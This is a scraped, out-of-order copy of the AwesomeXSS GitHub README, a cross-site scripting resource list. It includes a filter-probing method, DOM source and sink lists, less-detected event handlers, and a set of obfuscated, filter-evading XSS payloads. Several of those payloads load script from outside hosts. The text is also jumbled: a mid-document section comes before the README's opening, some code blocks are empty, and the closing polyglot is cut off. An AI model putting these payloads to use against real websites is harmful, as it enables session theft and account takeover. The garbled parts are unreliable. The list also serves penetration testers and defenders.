` ``` Explanation of how it works, [here](https://github.com/s0md3v/AwesomeXSS/blob/master/Database/polyglot.png) ### Awesome Tags & Event Handlers - [105 Event Handlers with description](https://github.com/UltimateHackers/AwesomeXSS/blob/master/Database/event-handlers.md) - [200 Event Handlers without description](http://pastebin.com/raw/WwcBmz5J) Some less detected event handlers ``` ontoggle onauxclick ondblclick oncontextmenu onmouseleave ontouchcancel ``` Some HTML Tags that you will be using ``` img svg body html embed script object details isindex iframe audio video ``` ### Awesome Context Breaking #### HTML Context Case: `You searched for $input. ` ``` ``` ### Awesome Probing If nothing of this works, take a look at **Awesome Bypassing** section First of all, enter a non-malicious string like **d3v** and look at the source code to get an idea about number and contexts of reflections.
Now for attribute context, check if double quotes (") are being filtered by entering `x"d3v`. If it gets altered to `x"d3v`, chances are that output is getting properly escaped. If this happens, try doing the same for single quotes (') by entering `x'd3v`, if it gets altered to `x'`, you are doomed. The only thing you can try is encoding.
If the quotes are not being filtered, you can simply try payloads from **Awesome Context Breaking** section.
For javascript context, check which quotes are being used for example if they are doing ``` variable = 'value' or variable = "value" ``` Now lets say single quotes (') are in use, in that case enter `x'd3v`. If it gets altered to `x\'d3v`, try escaping the backslash (\) by adding a backslash to your probe i.e. `x\'d3v`. If it works use the following payload: ``` \'-alert()// ``` But if it gets altered to `x\\\'d3v`, the only thing you can try is closing the script tag itself by using ```
``` ### Awesome Bypassing **Note:** None of these payloads use single (') or double quotes ("). - Without event handlers ```

AwesomeXSS

This repository is a collection of Awesome XSS resources. Contributions are welcome and should be submitted via an issue.

Awesome contents

Awesome Challenges

Awesome Reads & Presentations

Awesome Tools

Awesome XSS Mind Maps

A beautiful XSS mind map by Jack Masa, here

Awesome DOM XSS

Does your input go into a sink? Vulnerable
It doesn’t? Not vulnerable

Source: An input that could be controlled by an external (untrusted) source.

document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: A potentially dangerous method that could lead to a vulnerability. In this case a DOM Based XSS.

eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

This comprehensive list of sinks and source is taken from domxsswiki.

Awesome Payloads

<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` /></Image>
<iframe/src \/\/onload = prompt(1)
<x oncut=alert()>x
<svg onload=write()>

Awesome Polyglots

Here’s an XSS polyglot that I made which can break out of 20+ contexts:
`` %0ajavascript:/\”/—><svg onload=’/*